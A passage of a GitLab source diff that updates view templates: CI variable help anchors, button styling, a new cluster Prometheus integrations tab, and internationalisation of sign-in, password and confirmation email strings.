- %span.gl-text-truncate.mw-70p.gl-pl-2= subject.name
-
-- if status.has_action?
- = link_to status.action_path, class: "gl-button ci-action-icon-container ci-action-icon-wrapper js-ci-action-icon", method: status.action_method, data: { toggle: 'tooltip', title: status.action_title, container: 'body' } do
- = sprite_icon(status.action_icon, css_class: "icon-action-#{status.action_icon}")
diff --git a/app/views/ci/variables/_content.html.haml b/app/views/ci/variables/_content.html.haml
index fd4b546e150..5eded970bf0 100644
--- a/app/views/ci/variables/_content.html.haml
+++ b/app/views/ci/variables/_content.html.haml
@@ -7,4 +7,4 @@
= html_escape(_('%{code_open}Protected:%{code_close} Only exposed to protected branches or tags.')) % { code_open: '<code>'.html_safe, code_close: '</code>'.html_safe }
%li
= html_escape(_('%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements.')) % { code_open: '<code>'.html_safe, code_close: '</code>'.html_safe }
- = link_to _('Learn more.'), help_page_path('ci/variables/README', anchor: 'masked-variable-requirements'), target: '_blank', rel: 'noopener noreferrer'
+ = link_to _('Learn more.'), help_page_path('ci/variables/README', anchor: 'mask-a-cicd-variable'), target: '_blank', rel: 'noopener noreferrer'
diff --git a/app/views/ci/variables/_index.html.haml b/app/views/ci/variables/_index.html.haml
index fc0e3488e57..f5d28adfa66 100644
--- a/app/views/ci/variables/_index.html.haml
+++ b/app/views/ci/variables/_index.html.haml
@@ -2,7 +2,7 @@
- if ci_variable_protected_by_default?
%p.settings-message.text-center
- - link_start = '<a href="%{url}">'.html_safe % { url: help_page_path('ci/variables/README', anchor: 'protect-a-custom-variable') }
+ - link_start = '<a href="%{url}">'.html_safe % { url: help_page_path('ci/variables/README', anchor: 'protect-a-cicd-variable') }
= s_('Environment variables are configured by your administrator to be %{link_start}protected%{link_end} by default.').html_safe % { link_start: link_start, link_end: '</a>'.html_safe }
- is_group = !@group.nil?
@@ -16,8 +16,8 @@
aws_tip_deploy_link: help_page_path('ci/cloud_deployment/index.md', anchor: 'deploy-your-application-to-the-aws-elastic-container-service-ecs'),
aws_tip_commands_link: help_page_path('ci/cloud_deployment/index.md', anchor: 'run-aws-commands-from-gitlab-cicd'),
aws_tip_learn_link: help_page_path('ci/cloud_deployment/index.md', anchor: 'aws'),
- protected_environment_variables_link: help_page_path('ci/variables/README', anchor: 'protect-a-custom-variable'),
- masked_environment_variables_link: help_page_path('ci/variables/README', anchor: 'mask-a-custom-variable'),
+ protected_environment_variables_link: help_page_path('ci/variables/README', anchor: 'protect-a-cicd-variable'),
+ masked_environment_variables_link: help_page_path('ci/variables/README', anchor: 'mask-a-cicd-variable'),
} }
- if !@group && @project.group
diff --git a/app/views/ci/variables/_url_query_variable_row.html.haml b/app/views/ci/variables/_url_query_variable_row.html.haml
index 4c6eeb17c07..9c34daf88bd 100644
--- a/app/views/ci/variables/_url_query_variable_row.html.haml
+++ b/app/views/ci/variables/_url_query_variable_row.html.haml
@@ -24,5 +24,5 @@
name: value_input_name,
placeholder: s_('CiVariables|Input variable value') }
= value
- %button.btn.btn-svg.btn-item-remove.js-row-remove-button.ci-variable-row-remove-button.table-section{ type: 'button', 'aria-label': s_('CiVariables|Remove variable row') }
+ %button.gl-button.btn.btn-default.btn-icon.btn-item-remove.js-row-remove-button.ci-variable-row-remove-button.table-section{ type: 'button', 'aria-label': s_('CiVariables|Remove variable row') }
= sprite_icon('close')
diff --git a/app/views/ci/variables/_variable_row.html.haml b/app/views/ci/variables/_variable_row.html.haml
index 193ec8abf04..856d03ba258 100644
--- a/app/views/ci/variables/_variable_row.html.haml
+++ b/app/views/ci/variables/_variable_row.html.haml
@@ -25,21 +25,21 @@
%input.js-ci-variable-input-destroy{ type: "hidden", name: destroy_input_name }
%select.js-ci-variable-input-variable-type.ci-variable-body-item.form-control.select-control.custom-select.table-section.section-15{ name: variable_type_input_name }
= options_for_select(ci_variable_type_options, variable_type)
- %input.js-ci-variable-input-key.ci-variable-body-item.qa-ci-variable-input-key.form-control.table-section.section-15{ type: "text",
+ %input.js-ci-variable-input-key.ci-variable-body-item.qa-ci-variable-input-key.form-control.gl-form-input.table-section.section-15{ type: "text",
name: key_input_name,
value: key,
placeholder: s_('CiVariables|Input variable key') }
.ci-variable-body-item.gl-show-field-errors.table-section.section-15.border-top-0.p-0
.form-control.js-secret-value-placeholder.qa-ci-variable-input-value.overflow-hidden{ class: ('hide' unless id) }
= '*' * 17
- %textarea.js-ci-variable-input-value.js-secret-value.qa-ci-variable-input-value.form-control{ class: ('hide' if id),
+ %textarea.js-ci-variable-input-value.js-secret-value.qa-ci-variable-input-value.form-control.gl-form-input{ class: ('hide' if id),
rows: 1,
name: value_input_name,
placeholder: s_('CiVariables|Input variable value') }
= value
%p.masking-validation-error.gl-field-error.hide
= s_("CiVariables|Cannot use Masked Variable with current value")
- = link_to sprite_icon('question-o'), help_page_path('ci/variables/README', anchor: 'mask-a-custom-variable'), target: '_blank', rel: 'noopener noreferrer'
+ = link_to sprite_icon('question-o'), help_page_path('ci/variables/README', anchor: 'mask-a-cicd-variable'), target: '_blank', rel: 'noopener noreferrer'
- unless only_key_value
.ci-variable-body-item.ci-variable-protected-item.table-section.section-20.mr-0.border-top-0
.gl-mr-3
@@ -60,5 +60,5 @@
value: is_masked,
data: { default: is_masked_default.to_s } }
= render_if_exists 'ci/variables/environment_scope', form_field: form_field, variable: variable
- %button.btn.btn-svg.js-row-remove-button.ci-variable-row-remove-button.table-section{ type: 'button', 'aria-label': s_('CiVariables|Remove variable row') }
+ %button.gl-button.btn.btn-default.btn-icon.js-row-remove-button.ci-variable-row-remove-button.table-section{ type: 'button', 'aria-label': s_('CiVariables|Remove variable row') }
= sprite_icon('close')
diff --git a/app/views/clusters/clusters/_gcp_signup_offer_banner.html.haml b/app/views/clusters/clusters/_gcp_signup_offer_banner.html.haml
index 8c23fc7c590..5df368ef3af 100644
--- a/app/views/clusters/clusters/_gcp_signup_offer_banner.html.haml
+++ b/app/views/clusters/clusters/_gcp_signup_offer_banner.html.haml
@@ -5,5 +5,5 @@
= sprite_icon('information-o', size: 16, css_class: 'gl-icon gl-alert-icon gl-alert-icon-no-title')
%h4.gl-alert-title= s_('ClusterIntegration|Did you know?')
%p.gl-alert-body= s_('ClusterIntegration|Every new Google Cloud Platform (GCP) account receives $300 in credit upon %{sign_up_link}. In partnership with Google, GitLab is able to offer an additional $200 for both new and existing GCP accounts to get started with GitLab\'s Google Kubernetes Engine Integration.').html_safe % { sign_up_link: link }
- %a.gl-button.btn-info{ href: 'https://cloud.google.com/partners/partnercredit/?pcn_code=0014M00001h35gDQAQ#contact-form', target: '_blank', rel: 'noopener noreferrer' }
+ %a.gl-button.btn-confirm.text-decoration-none{ href: 'https://cloud.google.com/partners/partnercredit/?pcn_code=0014M00001h35gDQAQ#contact-form', target: '_blank', rel: 'noopener noreferrer' }
= s_("ClusterIntegration|Apply for credit")
diff --git a/app/views/clusters/clusters/_gitlab_integration_form.html.haml b/app/views/clusters/clusters/_gitlab_integration_form.html.haml
index 87af74a398f..b6d6dcdd7a9 100644
--- a/app/views/clusters/clusters/_gitlab_integration_form.html.haml
+++ b/app/views/clusters/clusters/_gitlab_integration_form.html.haml
@@ -1,3 +1,3 @@
-= form_for @cluster, url: clusterable.cluster_path(@cluster), as: :cluster, html: { class: 'js-cluster-integration-form' } do |field|
+= form_for @cluster, url: clusterable.cluster_path(@cluster), as: :cluster, html: { class: 'js-cluster-details-form' } do |field|
= form_errors(@cluster)
- #js-cluster-integration-form{ data: js_cluster_form_data(@cluster, can?(current_user, :update_cluster, @cluster)) }
+ #js-cluster-details-form{ data: js_cluster_form_data(@cluster, can?(current_user, :update_cluster, @cluster)) }
diff --git a/app/views/clusters/clusters/_health.html.haml b/app/views/clusters/clusters/_health.html.haml
index 5400bd7f201..025f52d8771 100644
--- a/app/views/clusters/clusters/_health.html.haml
+++ b/app/views/clusters/clusters/_health.html.haml
@@ -3,4 +3,4 @@
#prometheus-graphs{ data: @cluster.health_data(clusterable) }
- else
- %p.settings-message.text-center= s_("ClusterIntegration|In order to view the health of your cluster, you must first install Prometheus in the Applications tab.")
+ %p.settings-message.text-center= s_("ClusterIntegration|In order to view the health of your cluster, you must first enable Prometheus in the Integrations tab.")
diff --git a/app/views/clusters/clusters/_integrations.html.haml b/app/views/clusters/clusters/_integrations.html.haml
new file mode 100644
index 00000000000..d718e3ecb26
--- /dev/null
+++ b/app/views/clusters/clusters/_integrations.html.haml
@@ -0,0 +1,19 @@
+.settings.expanded.border-0.m-0
+ %p
+ = s_('ClusterIntegration|Integrations enable you to integrate your cluster as part of your GitLab workflow.')
+ = link_to _('Learn more'), help_page_path('user/clusters/integrations.md'), target: '_blank'
+ .settings-content#advanced-settings-section
+ - if can?(current_user, :admin_cluster, @cluster)
+ .sub-section.form-group
+ = form_for @prometheus_integration, url: @cluster.integrations_path, as: :integration, method: :post, html: { class: 'js-cluster-integrations-form' } do |form|
+ = form.hidden_field :application_type
+ .form-group
+ .gl-form-checkbox.custom-control.custom-checkbox
+ = form.check_box :enabled, { class: 'custom-control-input'}
+ = form.label :enabled, s_('ClusterIntegration|Enable Prometheus integration'), class: 'custom-control-label'
+ .gl-form-group
+ .form-text.text-gl-muted
+ - link_start = '<a href="%{url}" target="_blank" rel="noopener noreferrer">'.html_safe % { url: help_page_path("user/clusters/integrations", anchor: "prometheus-cluster-integration") }
+ - link_end = '</a>'.html_safe
+ = html_escape(s_('ClusterIntegration|Before you enable this integration, follow the %{link_start}documented process%{link_end}.')) % { link_start: link_start, link_end: link_end }
+ = form.submit _('Save changes'), class: 'btn gl-button btn-success'
diff --git a/app/views/clusters/clusters/_integrations_tab.html.haml b/app/views/clusters/clusters/_integrations_tab.html.haml
new file mode 100644
index 00000000000..77b8b6ca3e6
--- /dev/null
+++ b/app/views/clusters/clusters/_integrations_tab.html.haml
@@ -0,0 +1,6 @@
+- tab_name = 'integrations'
+- active = params[:tab] == tab_name
+
+%li.nav-item{ role: 'presentation' }
+ %a#cluster-apps-tab.nav-link{ class: active_when(active), href: clusterable.cluster_path(@cluster.id, params: {tab: tab_name}) }
+ %span= _('Integrations')
diff --git a/app/views/clusters/clusters/aws/_new.html.haml b/app/views/clusters/clusters/aws/_new.html.haml
index 4407b27df1e..93e8b1241a8 100644
--- a/app/views/clusters/clusters/aws/_new.html.haml
+++ b/app/views/clusters/clusters/aws/_new.html.haml
@@ -12,6 +12,6 @@
'role-arn' => @aws_role.role_arn,
'instance-types' => @instance_types,
'kubernetes-integration-help-path' => help_page_path('user/project/clusters/index'),
- 'account-and-external-ids-help-path' => help_page_path('user/project/clusters/add_remove_clusters.md', anchor: 'new-eks-cluster'),
- 'create-role-arn-help-path' => help_page_path('user/project/clusters/add_remove_clusters.md', anchor: 'new-eks-cluster'),
+ 'account-and-external-ids-help-path' => help_page_path('user/project/clusters/add_eks_clusters.md', anchor: 'new-eks-cluster'),
+ 'create-role-arn-help-path' => help_page_path('user/project/clusters/add_eks_clusters.md', anchor: 'new-eks-cluster'),
'external-link-icon' => sprite_icon('external-link') } }
diff --git a/app/views/clusters/clusters/show.html.haml b/app/views/clusters/clusters/show.html.haml
index cb464eeafbb..01ba7c06154 100644
--- a/app/views/clusters/clusters/show.html.haml
+++ b/app/views/clusters/clusters/show.html.haml
@@ -59,6 +59,7 @@
= render_if_exists 'clusters/clusters/environments_tab'
= render 'clusters/clusters/health_tab'
= render 'applications_tab'
+ = render 'integrations_tab'
= render 'advanced_settings_tab'
.tab-content.py-3
diff --git a/app/views/dashboard/_projects_head.html.haml b/app/views/dashboard/_projects_head.html.haml
index 57c0801074b..90a49e4bbe3 100644
--- a/app/views/dashboard/_projects_head.html.haml
+++ b/app/views/dashboard/_projects_head.html.haml
@@ -18,11 +18,11 @@
= nav_link(page: [dashboard_projects_path, root_path]) do
= link_to dashboard_projects_path, class: 'shortcuts-activity', data: {placement: 'right'} do
= _("Your projects")
- %span.badge.badge-pill= limited_counter_with_delimiter(@total_user_projects_count)
+ %span.badge.gl-tab-counter-badge.badge-muted.badge-pill.gl-badge.sm= limited_counter_with_delimiter(@total_user_projects_count)
= nav_link(page: starred_dashboard_projects_path) do
= link_to starred_dashboard_projects_path, data: {placement: 'right'} do
= _("Starred projects")
- %span.badge.badge-pill= limited_counter_with_delimiter(@total_starred_projects_count)
+ %span.badge.gl-tab-counter-badge.badge-muted.badge-pill.gl-badge.sm= limited_counter_with_delimiter(@total_starred_projects_count)
= nav_link(page: [explore_root_path, trending_explore_projects_path, starred_explore_projects_path, explore_projects_path]) do
= link_to explore_root_path, data: {placement: 'right'} do
= _("Explore projects")
diff --git a/app/views/dashboard/merge_requests.html.haml b/app/views/dashboard/merge_requests.html.haml
index d47df24b1b9..ae557b73620 100644
--- a/app/views/dashboard/merge_requests.html.haml
+++ b/app/views/dashboard/merge_requests.html.haml
@@ -1,11 +1,11 @@
- @hide_top_links = true
-- page_title _("Merge Requests")
+- page_title _("Merge requests")
- @breadcrumb_link = merge_requests_dashboard_path(assignee_username: current_user.username)
= render_dashboard_ultimate_trial(current_user)
.page-title-holder.d-flex.align-items-start.flex-column.flex-sm-row.align-items-sm-center
- %h1.page-title= _('Merge Requests')
+ %h1.page-title= _('Merge requests')
- if current_user
.page-title-controls.ml-0.mb-3.ml-sm-auto.mb-sm-0
diff --git a/app/views/dashboard/projects/index.html.haml b/app/views/dashboard/projects/index.html.haml
index 1f4bd06aea4..c24d386c412 100644
--- a/app/views/dashboard/projects/index.html.haml
+++ b/app/views/dashboard/projects/index.html.haml
@@ -3,7 +3,7 @@
= content_for :meta_tags do
= auto_discovery_link_tag(:atom, dashboard_projects_url(rss_url_options), title: "All activity")
-- if show_customize_homepage_banner?(@customize_homepage)
+- if show_customize_homepage_banner?
= content_for :customize_homepage_banner do
.gl-display-none.gl-md-display-block{ class: "gl-pt-6! gl-pb-2! #{(container_class unless @no_container)} #{@content_class}" }
.js-customize-homepage-banner{ data: { svg_path: image_path('illustrations/monitoring/getting_started.svg'),
diff --git a/app/views/dashboard/todos/index.html.haml b/app/views/dashboard/todos/index.html.haml
index d78059b6aed..a0016417f0c 100644
--- a/app/views/dashboard/todos/index.html.haml
+++ b/app/views/dashboard/todos/index.html.haml
@@ -42,12 +42,12 @@
- if params[:group_id].present?
= hidden_field_tag(:group_id, params[:group_id])
= dropdown_tag(group_dropdown_label(params[:group_id], 'Group'), options: { toggle_class: 'js-group-search js-filter-submit', title: 'Filter by group', filter: true, filterInput: 'input#group-search', dropdown_class: 'dropdown-menu-selectable dropdown-menu-group js-filter-submit',
- placeholder: 'Search groups', data: { data: todo_group_options, default_label: 'Group', display: 'static' } })
+ placeholder: 'Search groups', data: { default_label: 'Group', display: 'static' } })
.filter-item.inline
- if params[:project_id].present?
= hidden_field_tag(:project_id, params[:project_id])
= dropdown_tag(project_dropdown_label(params[:project_id], 'Project'), options: { toggle_class: 'js-project-search js-filter-submit', title: 'Filter by project', filter: true, filterInput: 'input#project-search', dropdown_class: 'dropdown-menu-selectable dropdown-menu-project js-filter-submit',
- placeholder: 'Search projects', data: { data: todo_projects_options, default_label: 'Project', display: 'static' } })
+ placeholder: 'Search projects', data: { default_label: 'Project', display: 'static' } })
.filter-item.inline
- if params[:author_id].present?
= hidden_field_tag(:author_id, params[:author_id])
diff --git a/app/views/devise/mailer/_confirmation_instructions_account.html.haml b/app/views/devise/mailer/_confirmation_instructions_account.html.haml
index 27ef586d90f..9d469ff6e7b 100644
--- a/app/views/devise/mailer/_confirmation_instructions_account.html.haml
+++ b/app/views/devise/mailer/_confirmation_instructions_account.html.haml
@@ -2,15 +2,15 @@
- if @resource.unconfirmed_email.present? || !@resource.created_recently?
#content
= email_default_heading(@resource.unconfirmed_email || @resource.email)
- %p Click the link below to confirm your email address.
+ %p= _('Click the link below to confirm your email address.')
#cta
- = link_to 'Confirm your email address', confirmation_link
+ = link_to _('Confirm your email address'), confirmation_link
- else
#content
- if Gitlab.com?
- = email_default_heading('Thanks for signing up to GitLab!')
+ = email_default_heading(_('Thanks for signing up to GitLab!'))
- else
- = email_default_heading("Welcome, #{@resource.name}!")
- %p To get started, click the link below to confirm your account.
+ = email_default_heading(_("Welcome, %{name}!") % { name: @resource.name })
+ %p= _("To get started, click the link below to confirm your account.")
#cta
- = link_to 'Confirm your account', confirmation_link
+ = link_to _('Confirm your account'), confirmation_link
diff --git a/app/views/devise/mailer/_confirmation_instructions_account.text.erb b/app/views/devise/mailer/_confirmation_instructions_account.text.erb
index 5bccb68bbe2..e6da78e3a3d 100644
--- a/app/views/devise/mailer/_confirmation_instructions_account.text.erb
+++ b/app/views/devise/mailer/_confirmation_instructions_account.text.erb
@@ -1,13 +1,13 @@
<% if @resource.unconfirmed_email.present? || !@resource.created_recently? %>
<%= @resource.unconfirmed_email || @resource.email %>,
-Use the link below to confirm your email address.
+<%= _('Use the link below to confirm your email address.') %>
<% else %>
<% if Gitlab.com? %>
-Thanks for signing up to GitLab!
+<%= _('Thanks for signing up to GitLab!') %>
<% else %>
-Welcome, <%= @resource.name %>!
+<%= _("Welcome, %{name}!") % { name: @resource.name } %>
<% end %>
-To get started, use the link below to confirm your account.
-<% end %>
+<%= _('To get started, use the link below to confirm your account.') %>
+<% end %>
<%= confirmation_url(@resource, confirmation_token: @token) %>
diff --git a/app/views/devise/mailer/_confirmation_instructions_secondary.text.erb b/app/views/devise/mailer/_confirmation_instructions_secondary.text.erb
index b91498ccfae..ab46aaaca1a 100644
--- a/app/views/devise/mailer/_confirmation_instructions_secondary.text.erb
+++ b/app/views/devise/mailer/_confirmation_instructions_secondary.text.erb
@@ -1,7 +1,7 @@
-<%= @resource.user.name %>, confirm your email address now!
+<%= _(" %{name}, confirm your email address now! ") % { name: @resource.user.name } %>
-Use the link below to confirm your email address (<%= @resource.email %>)
+<%= _("Use the link below to confirm your email address (%{email})") % { email: @resource.email } %>
<%= confirmation_url(@resource, confirmation_token: @token) %>
-If this email was added in error, you can remove it here: <%= profile_emails_url %>
+<%= _("If this email was added in error, you can remove it here: %{profile_emails_url}") % { profile_emails_url: profile_emails_url } %>
diff --git a/app/views/devise/mailer/password_change.html.haml b/app/views/devise/mailer/password_change.html.haml
index 5ec515285f2..5c0219ea3ad 100644
--- a/app/views/devise/mailer/password_change.html.haml
+++ b/app/views/devise/mailer/password_change.html.haml
@@ -1,8 +1,5 @@
-= email_default_heading("Hello, #{@resource.name}!")
+= email_default_heading(_("Hello, %{name}!") % { name: @resource.name })
%p
- The password for your GitLab account on
- #{link_to(Gitlab.config.gitlab.url, Gitlab.config.gitlab.url)}
- has successfully been changed.
+ = _('The password for your GitLab account on %{link_to_gitlab} has successfully been changed.').html_safe % { link_to_gitlab: link_to(Gitlab.config.gitlab.url, Gitlab.config.gitlab.url) }
%p
- If you did not initiate this change, please contact your administrator
- immediately.
+ = _('If you did not initiate this change, please contact your administrator immediately.')
diff --git a/app/views/devise/mailer/password_change.text.erb b/app/views/devise/mailer/password_change.text.erb
index 95923d9f8de..6a8128186f5 100644
--- a/app/views/devise/mailer/password_change.text.erb
+++ b/app/views/devise/mailer/password_change.text.erb
@@ -1,7 +1,5 @@
-Hello, <%= @resource.name %>!
+<%= _('Hello, %{name}!') % { name: @resource.name } %>
-The password for your GitLab account on <%= Gitlab.config.gitlab.url %>
-has successfully been changed.
+<%= _('The password for your GitLab account on %{gitlab_url} has successfully been changed.') % { gitlab_url: Gitlab.config.gitlab.url } %>
-If you did not initiate this change, please contact your administrator
-immediately.
+<%= _('If you did not initiate this change, please contact your administrator immediately.') %>
diff --git a/app/views/devise/mailer/unlock_instructions.html.haml b/app/views/devise/mailer/unlock_instructions.html.haml
index 8ddfd3ea74a..0c05ee4a6cd 100644
--- a/app/views/devise/mailer/unlock_instructions.html.haml
+++ b/app/views/devise/mailer/unlock_instructions.html.haml
@@ -1,8 +1,6 @@
#content
- = email_default_heading("Hello, #{@resource.name}!")
+ = email_default_heading(_("Hello, %{name}!") % { name: @resource.name })
%p
- Your GitLab account has been locked due to an excessive amount of unsuccessful
- sign in attempts. Your account will automatically unlock in #{distance_of_time_in_words(Devise.unlock_in)}
- or you may click the link below to unlock now.
+ = _("Your GitLab account has been locked due to an excessive amount of unsuccessful sign in attempts. Your account will automatically unlock in %{duration} or you may click the link below to unlock now.") % { duration: distance_of_time_in_words(Devise.unlock_in) }
#cta
- = link_to('Unlock account', unlock_url(@resource, unlock_token: @token))
+ = link_to(_('Unlock account'), unlock_url(@resource, unlock_token: @token))
diff --git a/app/views/devise/passwords/edit.html.haml b/app/views/devise/passwords/edit.html.haml
index 7876aed2c0a..10c04423589 100644
--- a/app/views/devise/passwords/edit.html.haml
+++ b/app/views/devise/passwords/edit.html.haml
@@ -1,4 +1,4 @@
-= render 'devise/shared/tab_single', tab_title:'Change your password'
+= render 'devise/shared/tab_single', tab_title: _('Change your password')
.login-box
.login-body
= form_for(resource, as: resource_name, url: password_path(:user), html: { method: :put, class: 'gl-show-field-errors' }) do |f|
@@ -6,16 +6,16 @@
= render "devise/shared/error_messages", resource: resource
= f.hidden_field :reset_password_token
.form-group
- = f.label 'New password', for: "user_password"
- = f.password_field :password, class: "form-control gl-form-input top", required: true, title: 'This field is required', data: { qa_selector: 'password_field'}
+ = f.label _('New password'), for: "user_password"
+ = f.password_field :password, class: "form-control gl-form-input top", required: true, title: _('This field is required.'), data: { qa_selector: 'password_field'}
.form-group
- = f.label 'Confirm new password', for: "user_password_confirmation"
- = f.password_field :password_confirmation, class: "form-control gl-form-input bottom", title: 'This field is required', data: { qa_selector: 'password_confirmation_field' }, required: true
+ = f.label _('Confirm new password'), for: "user_password_confirmation"
+ = f.password_field :password_confirmation, class: "form-control gl-form-input bottom", title: _('This field is required.'), data: { qa_selector: 'password_confirmation_field' }, required: true
.clearfix
- = f.submit "Change your password", class: "gl-button btn btn-confirm", data: { qa_selector: 'change_password_button' }
+ = f.submit _("Change your password"), class: "gl-button btn btn-confirm", data: { qa_selector: 'change_password_button' }
.clearfix.prepend-top-20
%p
- %span.light Didn't receive a confirmation email?
- = link_to "Request a new one", new_confirmation_path(:user)
+ %span.light= _("Didn't receive a confirmation email?")
+ = link_to _("Request a new one"), new_confirmation_path(:user)
= render 'devise/shared/sign_in_link'
diff --git a/app/views/devise/passwords/new.html.haml b/app/views/devise/passwords/new.html.haml
index c4672a5b25e..ef876779ad6 100644
--- a/app/views/devise/passwords/new.html.haml
+++ b/app/views/devise/passwords/new.html.haml
@@ -5,9 +5,9 @@
= render "devise/shared/error_messages", resource: resource
.form-group
= f.label :email
- = f.email_field :email, class: "form-control gl-form-input", required: true, value: params[:user_email], autofocus: true, title: 'Please provide a valid email address.'
+ = f.email_field :email, class: "form-control gl-form-input", required: true, value: params[:user_email], autofocus: true, title: _('Please provide a valid email address.')
.clearfix
- = f.submit "Reset password", class: "gl-button btn-confirm btn"
+ = f.submit _("Reset password"), class: "gl-button btn-confirm btn"
.clearfix.prepend-top-20
= render 'devise/shared/sign_in_link'
diff --git a/app/views/devise/registrations/edit.html.erb b/app/views/devise/registrations/edit.html.erb
index 5a1388ac7a1..eeaefb8c6ac 100644
--- a/app/views/devise/registrations/edit.html.erb
+++ b/app/views/devise/registrations/edit.html.erb
@@ -9,20 +9,20 @@
<div><%= f.label :name %><br />
<%= f.text_field :name %></div>
- <div><%= f.label :password %> <i>(leave blank if you don't want to change it)</i><br />
+ <div><%= f.label :password %> <i><%= _("(leave blank if you don't want to change it)") %></i><br />
<%= f.password_field :password %></div>
<div><%= f.label :password_confirmation %><br />
<%= f.password_field :password_confirmation %></div>
- <div><%= f.label :current_password %> <i>(we need your current password to confirm your changes)</i><br />
+ <div><%= f.label :current_password %> <i><%= _("(we need your current password to confirm your changes)") %></i><br />
<%= f.password_field :current_password %></div>
-<div><%= f.submit "Update", class: "input_button" %></div>
+<div><%= f.submit _("Update"), class: "input_button" %></div>
<% end %>
-<h3>Cancel your account</h3>
+<h3><%= _('Cancel your account') %></h3>
-<p>Unhappy? <%= link_to "Cancel your account", registration_path(resource_name), data: { confirm: "Are you sure?" }, method: :delete %>.</p>
+<p><%= _('Unhappy?') %> <%= link_to _("Cancel your account"), registration_path(resource_name), data: { confirm: _("Are you sure?") }, method: :delete %>.</p>
-<%= link_to "Back", :back %>
+<%= link_to _("Back"), :back %>
diff --git a/app/views/devise/sessions/_new_crowd.html.haml b/app/views/devise/sessions/_new_crowd.html.haml
index 161e23d700e..769268748f4 100644
--- a/app/views/devise/sessions/_new_crowd.html.haml
+++ b/app/views/devise/sessions/_new_crowd.html.haml
@@ -1,13 +1,13 @@
= form_tag(omniauth_authorize_path(:user, :crowd), id: 'new_crowd_user', class: 'gl-show-field-errors') do
.form-group
- = label_tag :username, 'Username or email'
- = text_field_tag :username, nil, { class: "form-control top", title: "This field is required", autofocus: "autofocus", required: true }
+ = label_tag :username, _('Username or email')
+ = text_field_tag :username, nil, { class: "form-control top", title: _("This field is required."), autofocus: "autofocus", required: true }
.form-group
= label_tag :password
- = password_field_tag :password, nil, { class: "form-control bottom", title: "This field is required.", required: true }
+ = password_field_tag :password, nil, { class: "form-control bottom", title: _("This field is required."), required: true }
- if devise_mapping.rememberable?
.remember-me
%label{ for: "remember_me" }
= check_box_tag :remember_me, '1', false, id: 'remember_me'
- %span Remember me
- = submit_tag "Sign in", class: "gl-button btn-confirm btn"
+ %span= _('Remember me')
+ = submit_tag _("Sign in"), class: "gl-button btn-confirm btn"
diff --git a/app/views/devise/sessions/_new_ldap.html.haml b/app/views/devise/sessions/_new_ldap.html.haml
index 19fcabb1a2e..f599a652b71 100644
--- a/app/views/devise/sessions/_new_ldap.html.haml
+++ b/app/views/devise/sessions/_new_ldap.html.haml
@@ -5,15 +5,15 @@
= form_tag(omniauth_callback_path(:user, server['provider_name']), id: 'new_ldap_user', class: "gl-show-field-errors") do
.form-group
= label_tag :username, "#{server['label']} Username"
- = text_field_tag :username, nil, { class: "form-control gl-form-input top", title: "This field is required.", autofocus: "autofocus", data: { qa_selector: 'username_field' }, required: true }
+ = text_field_tag :username, nil, { class: "form-control gl-form-input top", title: _("This field is required."), autofocus: "autofocus", data: { qa_selector: 'username_field' }, required: true }
.form-group
= label_tag :password
- = password_field_tag :password, nil, { class: "form-control gl-form-input bottom", title: "This field is required.", data: { qa_selector: 'password_field' }, required: true }
+ = password_field_tag :password, nil, { class: "form-control gl-form-input bottom", title: _("This field is required."), data: { qa_selector: 'password_field' }, required: true }
- if !hide_remember_me && devise_mapping.rememberable?
.remember-me
%label{ for: "remember_me" }
= check_box_tag :remember_me, '1', false, id: 'remember_me'
- %span Remember me
+ %span= _('Remember me')
.submit-container.move-submit-down
= submit_tag submit_message, class: "gl-button btn btn-confirm", data: { qa_selector: 'sign_in_button' }
diff --git a/app/views/devise/sessions/new.html.haml b/app/views/devise/sessions/new.html.haml
index cce0a3b926e..74f3e3e7e34 100644
--- a/app/views/devise/sessions/new.html.haml
+++ b/app/views/devise/sessions/new.html.haml
@@ -13,7 +13,7 @@
-# Show a message if none of the mechanisms above are enabled
- if !password_authentication_enabled_for_web? && !ldap_sign_in_enabled? && !(omniauth_enabled? && devise_mapping.omniauthable?)
%div
- No authentication methods configured.
+ = _('No authentication methods configured.')
- if allow_signup?
%p.gl-mt-3
diff --git a/app/views/devise/sessions/two_factor.html.haml b/app/views/devise/sessions/two_factor.html.haml
index 404484cfb93..29bcb3c158b 100644
--- a/app/views/devise/sessions/two_factor.html.haml
+++ b/app/views/devise/sessions/two_factor.html.haml
@@ -1,5 +1,5 @@
%div
- = render 'devise/shared/tab_single', tab_title: 'Two-Factor Authentication'
+ = render 'devise/shared/tab_single', tab_title: _('Two-Factor Authentication')
.login-box
.login-body
- if @user.two_factor_otp_enabled?
@@ -7,10 +7,10 @@
- resource_params = params[resource_name].presence || params
= f.hidden_field :remember_me, value: resource_params.fetch(:remember_me, 0)
%div
- = f.label 'Two-Factor Authentication code', name: :otp_attempt
- = f.text_field :otp_attempt, class: 'form-control gl-form-input', required: true, autofocus: true, autocomplete: 'off', title: 'This field is required.', data: { qa_selector: 'two_fa_code_field' }
- %p.form-text.text-muted.hint Enter the code from the two-factor app on your mobile device. If you've lost your device, you may enter one of your recovery codes.
+ = f.label _('Two-Factor Authentication code'), name: :otp_attempt
+ = f.text_field :otp_attempt, class: 'form-control gl-form-input', required: true, autofocus: true, autocomplete: 'off', title: _('This field is required.'), data: { qa_selector: 'two_fa_code_field' }
+ %p.form-text.text-muted.hint= _("Enter the code from the two-factor app on your mobile device. If you've lost your device, you may enter one of your recovery codes.")
.prepend-top-20
- = f.submit "Verify code", class: "gl-button btn btn-confirm", data: { qa_selector: 'verify_code_button' }
+ = f.submit _("Verify code"), class: "gl-button btn btn-confirm", data: { qa_selector: 'verify_code_button' }
- if @user.two_factor_webauthn_u2f_enabled?
= render "authentication/authenticate", params: params, resource: resource, resource_name: resource_name, render_remember_me: true, target_path: new_user_session_path
diff --git a/app/views/devise/shared/_email_opted_in.html.haml b/app/views/devise/shared/_email_opted_in.html.haml
new file mode 100644
index 00000000000..6896ef21536
--- /dev/null
+++ b/app/views/devise/shared/_email_opted_in.html.haml
@@ -0,0 +1,7 @@
+- is_hidden = local_assigns.fetch(:hidden, Gitlab.dev_env_or_com?)
+
+.gl-mb-3.js-email-opt-in{ class: is_hidden ? 'hidden' : '' }
+ .gl-font-weight-bold.gl-mb-3
+ = _('Email updates (optional)')
+ = f.check_box :email_opted_in
+ = f.label :email_opted_in, _("I'd like to receive updates about GitLab via email"), class: 'gl-font-weight-normal'
diff --git a/app/views/devise/shared/_omniauth_box.html.haml b/app/views/devise/shared/_omniauth_box.html.haml
index 3ec859551ca..8b54b735205 100644
--- a/app/views/devise/shared/_omniauth_box.html.haml
